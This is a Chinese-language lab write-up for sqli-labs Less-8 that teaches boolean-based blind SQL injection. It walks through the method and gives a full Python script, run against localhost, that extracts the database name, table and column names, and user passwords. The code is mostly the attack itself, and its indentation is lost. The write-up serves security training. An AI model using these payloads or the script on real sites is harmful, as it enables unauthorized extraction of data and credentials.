Less 8 GET-Blind-Boolian Based-Single Quotes
拿到一个新的题目,首先先自己测一下,这里我们已经知道注入点在哪里了,直接开干就完事了。
首先测试?id=1可以看到这里出现了一串字符而不是图片,“you are in…”
再此测试,?id=1’,发现我们看不到那一串字符了,
是一个异常状态,但是并没有报错信息。可以初步判断,存在注入,但是返回信息没有报错那么详细的东西,所以它是一个‘盲注’。但是它存在两种状态,正常的时候,会显示一段字符,但是错误的时候会什么都没有。这就像bool函数,只有true和false两个return值。
接着,我们理一下思路,我们第一步需要知道它的数据库名字是什么?再然后,这个库下的表有几个,都是什么名字?再接着是列,在最后是值。
首先,我们猜测表的长度,使用到了一个函数,length(),顾名思义就是返回这个库名字长度的函数,正确“you are in…”,错误没有 you are
- 第一次,令length(database())=1 明显不对
- 。。。。。。经过多次的重复。。。。。。终于
- 第8次,length(database())=8
得到长度之后,就要测试这个数据库的名字了,使用到的函数是这一个left(a,b),功能是返回a字符,从左到右b个字符,这里我们就要测试所有的字符[也就是符合mysql命名规范的],如果是手动试的话可以尝试二分法,用ascii码值比较,逐渐缩小范围,能看这个博客,相信这个实现对读者应该没有难度。这里测试的前两个,s,se,sec,secu,secur,…,自己试吧贴图。
知道这个以后就要尝试,去获取表了,和上述方法一样,就不再赘述了,举个例子吧。
?id=1' and left((select group_concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),2)='ea' --+
这里解释一下把,left()函数没有发生改变,但是里边的字符串有一个选择问题,
就是limit,后边的数字第一个就是,起始位置,第二个是,从起始位置起,返回几个字符,这里只能比较一个所以就,写1,就OK了。
后边的就一样了,就不再做展示了。
前边做那么多的步骤,就是因为这个步骤过于繁琐,现在利用脚本实现。
# -*- coding:utf8 -*-
import requests
url='http://localhost/sqli-labs-master/Less-8/?id=1%27'
payload1= " and%20left({d}(),{n})=%27{s}%27%20--+"
payload2= " and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%20{t},1),{w},1))={A}%20--+"
payload3= " and%20%20left((select%20column_name%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27%20limit%20{w},1),{n})=%27{c}%27%20--+"
payload4= " and left((select username from users where id={n}),{w})='{d}' --+"
payload5= " and left((select password from users where id={n}),{w})='{d}' --+"
#最后进行 操作的是 url-payload
list1=['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',
'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z',
'0','1','2','3','4','5','6','7','8','9','@','.','-','|','_','!','?','.']
list2=[64, 94, 96, 124, 176, 40, 41, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 173, 175, 95, 65, 66, 67, 68, 69, 70, 71,
72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 97, 98, 99, 100, 101, 102, 103,
104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 44]
strone='You are in...........'
print(type(strone))
#第一步确定数据库的名字
database=''
##第一小步:首先要知道数据库名字的长度
for i in range(1,50):
for ss in list1:
p=payload1.format(d='database',n=i,s=database+ss)
u=requests.get(url+p)
#print("访问的是:",url+p)
#print(u.content)
#print(type(u))
if strone in u.text:
database += ss
print('正在对比databsaede的第',i,'个字符',database)
#print(database)
break
print('对比成功,database为:',database)
user=''
for i in range(1,50):
for ss in list1:
p=payload1.format(d='user',n=i,s=user+ss)
u=requests.get(url+p)
if strone in u.text:
user += ss
print('正在对比user的第',i,'个字符',user)
#print(database)
break
print('对比成功,database为:',user)
#第二小步去搞表名称
table1=''
table2=''
table3=''
table4=''
for i in range(0,4):
for j in range(0,15):
for s in list2:
p=payload2.format(t=i,w=j,A=s)
u=requests.get(url+p)
if strone in u.text:
if i == 0:
table1 += chr(s) #ascii转化
print('正在对比第1个表,','第',j,'个字符',table1)
elif i == 1:
table2 += chr(s)
print('正在对比第2个表,','第',j,'个字符',table2)
elif i == 2:
table3 += chr(s)
print('正在对比第3个表,','第',j,'个字符',table3)
elif i == 3:
table4 += chr(s)
print('正在对比第4个表,','第',j,'个字符',table4)
break
#第三步,获取users中的东西
column=['','','','','','']
for j in range(0,3):
for i in range(1,9):
for l in list1:
p=payload3.format(w=j,n=i,c=column[j]+l)
u=requests.get(url+p)
if strone in u.text:
column[j] += l
print('正在对比第',j+1,'个字段第',i,'个字符',column[j])
break
#第四步,获取值
username=['','','','','','','','','','','','','','','','','','','','','','','','','']
password=['','','','','','','','','','','','','','','','','','','','','','','','','']
for i in range(1,15):
for j in range(1,11):
for l in list1:
p=payload4.format(n=i,w=j,d=username[i-1]+l)
u=requests.get(url+p)
if strone in u.text:
username[i-1]+=l
print('正在对比第',i,'个记录的username的第',j,'个字符',username[i-1])
for i in range(1,15):
for j in range(1,11):
for l in list1:
p=payload5.format(n=i,w=j,d=password[i-1]+l)
u=requests.get(url+p)
if strone in u.text:
password[i-1]+=l
print('正在对比第',i,'个记录的password的第',j,'个字符',password[i-1])
print('数据库名:',database)
print('user:',user)
print('表名为:',table1,table2,table3,table4)
print('列名:',column)
print('username:',username)
print('password:',password)